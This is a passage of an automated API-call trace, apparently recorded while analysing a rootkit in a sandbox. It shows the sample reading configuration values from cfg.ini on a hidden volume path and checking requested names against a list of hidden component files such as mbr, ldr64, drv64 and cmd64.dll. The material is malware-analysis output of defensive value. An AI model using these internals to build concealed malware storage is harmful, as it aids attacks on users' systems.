dwHighDateTime=0x1d24fa4)) [0117.680] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.680] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.680] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.680] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.680] KeEnterCriticalRegion () [0117.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.680] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.680] IdePortDispatch () returned 0x103 [0117.680] KeWaitForMutexObject () returned 0x0 [0117.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.680] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.680] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.680] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.680] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.680] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da1e0 [0117.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.680] KeLeaveCriticalRegion () [0117.680] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.680] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.680] KeEnterCriticalRegion () [0117.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.681] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.681] KeLeaveCriticalRegion () [0117.681] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.681] KeEnterCriticalRegion () [0117.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.681] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.681] IdePortDispatch () returned 0x103 [0117.681] KeWaitForMutexObject () returned 0x0 [0117.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.681] KeLeaveCriticalRegion () [0117.681] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.681] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.681] KeEnterCriticalRegion () [0117.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cec000 [0117.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.681] IdePortDispatch () returned 0x103 [0117.682] KeWaitForMutexObject () returned 0x0 [0117.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.682] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.682] IdePortDispatch () returned 0x103 [0117.682] KeWaitForMutexObject () returned 0x0 [0117.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.682] KeLeaveCriticalRegion () [0117.682] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.683] KeEnterCriticalRegion () [0117.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.683] KeLeaveCriticalRegion () [0117.683] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.683] KeEnterCriticalRegion () [0117.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.683] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.683] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da2a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.683] KeLeaveCriticalRegion () [0117.683] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.683] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.683] KeEnterCriticalRegion () [0117.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.683] ExFreePoolWithTag (P=0xfffffa80039da1e0, Tag=0x0) [0117.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.683] KeLeaveCriticalRegion () [0117.683] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.683] ReleaseMutex (hMutex=0xf0) returned 1 [0117.683] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.683] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.684] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.684] KeEnterCriticalRegion () [0117.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.684] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.684] IdePortDispatch () returned 0x103 [0117.684] KeWaitForMutexObject () returned 0x0 [0117.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.684] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.684] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.684] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.684] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.684] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0117.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.684] KeLeaveCriticalRegion () [0117.684] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.684] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.684] KeEnterCriticalRegion () [0117.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.684] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.684] KeLeaveCriticalRegion () [0117.684] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.684] KeEnterCriticalRegion () [0117.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.685] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.685] IdePortDispatch () returned 0x103 [0117.685] KeWaitForMutexObject () returned 0x0 [0117.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.685] KeLeaveCriticalRegion () [0117.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.685] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.685] KeEnterCriticalRegion () [0117.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ced000 [0117.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.685] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.685] IdePortDispatch () returned 0x103 [0117.686] KeWaitForMutexObject () returned 0x0 [0117.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.686] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.686] IdePortDispatch () returned 0x103 [0117.686] KeWaitForMutexObject () returned 0x0 [0117.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.686] KeLeaveCriticalRegion () [0117.686] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.687] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.687] KeEnterCriticalRegion () [0117.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.687] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.687] KeLeaveCriticalRegion () [0117.687] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.687] KeEnterCriticalRegion () [0117.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.687] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.687] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.687] KeLeaveCriticalRegion () [0117.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.687] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.687] KeEnterCriticalRegion () [0117.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.687] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0117.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.687] KeLeaveCriticalRegion () [0117.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.687] ReleaseMutex (hMutex=0xf0) returned 1 [0117.687] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.687] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.687] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.687] KeEnterCriticalRegion () [0117.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.687] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.687] IdePortDispatch () returned 0x103 [0117.688] KeWaitForMutexObject () returned 0x0 [0117.688] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.688] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.688] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.688] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.688] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.688] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.688] KeLeaveCriticalRegion () [0117.688] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.688] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.688] KeEnterCriticalRegion () [0117.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.688] KeLeaveCriticalRegion () [0117.688] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.688] KeEnterCriticalRegion () [0117.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.688] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.688] IdePortDispatch () returned 0x103 [0117.689] KeWaitForMutexObject () returned 0x0 [0117.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.689] KeLeaveCriticalRegion () [0117.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.689] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.689] KeEnterCriticalRegion () [0117.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cee000 [0117.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.689] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.689] IdePortDispatch () returned 0x103 [0117.689] KeWaitForMutexObject () returned 0x0 [0117.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.689] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.689] IdePortDispatch () returned 0x103 [0117.690] KeWaitForMutexObject () returned 0x0 [0117.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.690] KeLeaveCriticalRegion () [0117.690] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.690] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.690] KeEnterCriticalRegion () [0117.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.690] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.690] KeLeaveCriticalRegion () [0117.690] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.690] KeEnterCriticalRegion () [0117.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.690] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.690] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cfdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.690] KeLeaveCriticalRegion () [0117.691] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.691] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.691] KeEnterCriticalRegion () [0117.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.691] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.691] KeLeaveCriticalRegion () [0117.691] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.691] ReleaseMutex (hMutex=0xf0) returned 1 [0117.691] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.691] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.691] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.691] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.691] KeEnterCriticalRegion () [0117.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.691] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.691] IdePortDispatch () returned 0x103 [0117.691] KeWaitForMutexObject () returned 0x0 [0117.691] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.691] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.691] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.691] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.691] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.692] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.692] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.692] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.692] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.692] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.692] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.692] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.692] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.692] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.692] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.692] ExReleaseFastMutexUnsafe (in: 